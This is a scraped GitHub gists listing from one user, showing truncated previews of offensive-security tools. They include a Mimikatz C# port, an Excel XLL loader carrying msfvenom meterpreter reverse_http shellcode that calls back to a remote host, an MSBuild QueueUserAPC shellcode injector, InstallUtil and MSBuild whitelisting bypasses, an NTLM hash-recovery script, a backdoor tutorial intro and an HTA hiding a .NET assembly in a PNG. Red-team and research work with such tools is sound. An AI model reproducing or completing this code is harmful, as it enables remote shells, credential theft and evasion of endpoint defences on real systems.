djhohnstein’s gists

djhohnstein / theircorp.tlb

Created January 23, 2019 17:18

TypeLib - Details. .tlb

	https://ghostbin.com/paste/4x325
	<o><o><o><o><o><o><o><o><o><o><o><o><o><o><o><o><o><o><o><o><o><o><o><o><o><o>



	* * * * * * * * * * * * * * * * * * * * *
	* *
	* *
	* The Unofficial *
	* *

djhohnstein / blog.txt

Created March 27, 2019 04:01

Gist Blog - Inside Out, Simple backdoors

	From the inside out, a minimalist backdoor.

	I'm a pretty big fan of simple, and elegant. In this gist blog, I'll show you a very simple way to maintain access to a remote system that is behind a FireWall, NAT and VPN.

	We will use in this example 3 tools.
	1. Node
	2. PowerShell
	3. LocalTunnel

	While I have a full compact, custom version, I will not release this.

djhohnstein / katz.cs

Created April 8, 2019 13:31

Updated Katz.cs - Latest Mimikatz, I mean honestly it is 2018...

This file has been truncated, but you can view the full file.

	using System;
	using System.IO;
	using System.Text;
	using System.IO.Compression;
	using System.EnterpriseServices;
	using System.Collections.Generic;
	using System.Runtime.InteropServices;
	using System.Security.Cryptography;

	/*

djhohnstein / shellcode_ExcelRegisterXLL.c

Created April 9, 2019 21:00 — forked from Arno0x/shellcode_ExcelRegisterXLL.c

	// Compile with: cl.exe x86_meterpreter_reverse_http.c /LD /o x86_meterpreter_reverse_http.xll
	#include <Windows.h>

	__declspec(dllexport) void __cdecl xlAutoOpen(void);

	DWORD WINAPI ThreadFunction(LPVOID lpParameter)
	{
	// Payload obtained via "msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=any.website.com LPORT=80 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f c"
	unsigned char b[] =
	"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"

djhohnstein / deskey_to_ntlm.py

Created April 17, 2019 13:45 — forked from coldfusion39/deskey_to_ntlm.py

Retrieve the NTLM from a captured NetNTLMv1 session

	#!/usr/bin/env python
	# Copyright (c) 2017, Brandan Geise [coldfusion]
	#
	# Permission is hereby granted, free of charge, to any person obtaining a copy
	# of this software and associated documentation files (the "Software"), to deal
	# in the Software without restriction, including without limitation the rights
	# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
	# copies of the Software, and to permit persons to whom the Software is
	# furnished to do so, subject to the following conditions:
	#

djhohnstein / svcstartstop.ps1

Created April 17, 2019 15:48

Gist to start and stop services in a "fine-grained" manner

	$services = Get-Service \| % { $_.Name }
	ForEach($service in $services)
	{
	Write-Host "Stopping $service"
	sc.exe stop $service
	Write-Host "Hit any key to start $service"
	Read-Host
	sc.exe start $service
	}

djhohnstein / msbuildQueueAPC.csproj

Created May 1, 2019 19:43 — forked from vector-sec/msbuildQueueAPC.csproj

MSBuild => CSC.exe Shellcode Inject using QueueUserAPC

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<!-- This inline task executes c# code. -->
	<-- x86 -->
	<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildQueueAPC.csproj -->
	<!- x64 -->
	<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe MSBuildQueueAPC.csproj -->
	<Target Name="Hello">
	<ClassExample />
	</Target>
	<UsingTask

djhohnstein / gethelp.cs

Created May 13, 2019 16:50

Help Me! MSDN InstallUtil - https://docs.microsoft.com/en-us/dotnet/api/system.configuration.install.installer.helptext?view=netframework-4.8

	using System;
	using System.Net;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	/*
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause

djhohnstein / poc.png

Created May 22, 2019 08:08

MSBuild - Property functions -

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" >
	<Target Name="Hello" >

	<!-- Call ANY .NET API -->
	<!--

	Author: Casey Smith, Twitter: @subTee

	License: BSD 3-Clause

djhohnstein / honeybadger.hta

Created May 24, 2019 04:43

HoneyBadger PNG - .NET Assembly Bypass

<html>

<img id="HoneyBadger" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABAAAAAKtCAIAAAA2LYveAAAACXBIWXMAAA7zAAAO8wEcU5k6AAAAEXRFWHRUaXRsZQBQREYgQ3JlYXRvckFevCgAAAATdEVYdEF1dGhvcgBQREYgVG9vbHMgQUcbz3cwAAAALXpUWHREZXNjcmlwdGlvbgAACJnLKCkpsNLXLy8v1ytISdMtyc/PKdZLzs8FAG6fCPGXryy4AAovrklEQVR42ty9i5bjSJIsFgGAZGZWVnX1vFa60tmj/z/6CR19ymp1R3dmerrrkZl8ACFztwiH40kwM6tnJW5PLZMEgXghYO5ubh7/z//jfw8hxOELn1RVFeZedZBvU0r2iX8/ffFs09fSr6qY1o+fXLqz9/yK/3ZdZ+8H/3Yn+9NeK5eIYTfbWfbLfm7dvHQt39tI2ldx8uL5l8Z/cFg5Cfu1MBRz81Kt9W7uPNG3x/d0dl7asDb76/M4bfP0yLbM49Jho3a2C+ttaR0uvTDO/if9RLcd3nT6Gk3c7Hl27vM4eT9dnzzlaApWzhAXzs8/67qu9GVfHbt73Nl1HSv8l7q2O3btpW3P6A5WirShi2WkZQdomtPsDdK27agB/PZY53VbxUav3OjVK/7ZNHv8o8s+H3Zpa54BDcA5bXnjYH9z8b1OyvPlcsF7fti2id3UraPe6atpGn6FI4/P3/EnD8D5tUfywq9affFU1oUmHvNC0hdbUsurmV9XOhQ8Unpdc6m0bD+6Jf/Grp/xC4elYpfxwsHlXN1wPejnqSlLBWfBDFW4QVOsOu7DEbPI3kXsPDjb8dxyQPDv+Xw+nS7YsXe7g05nbJrdfr9v6n3u/uXy9PKNS/3u7u5wOKCvGDR88/z8HEOtUyYvncQaDau6c3kSVFxdsmGkqk3dk77w+ePj44cPH5qd7JzpdNQ+5hfOjFbhX1xOxrSRUcUnuNzxeMSlcSg+5ySi

Dwight Hohnstein djhohnstein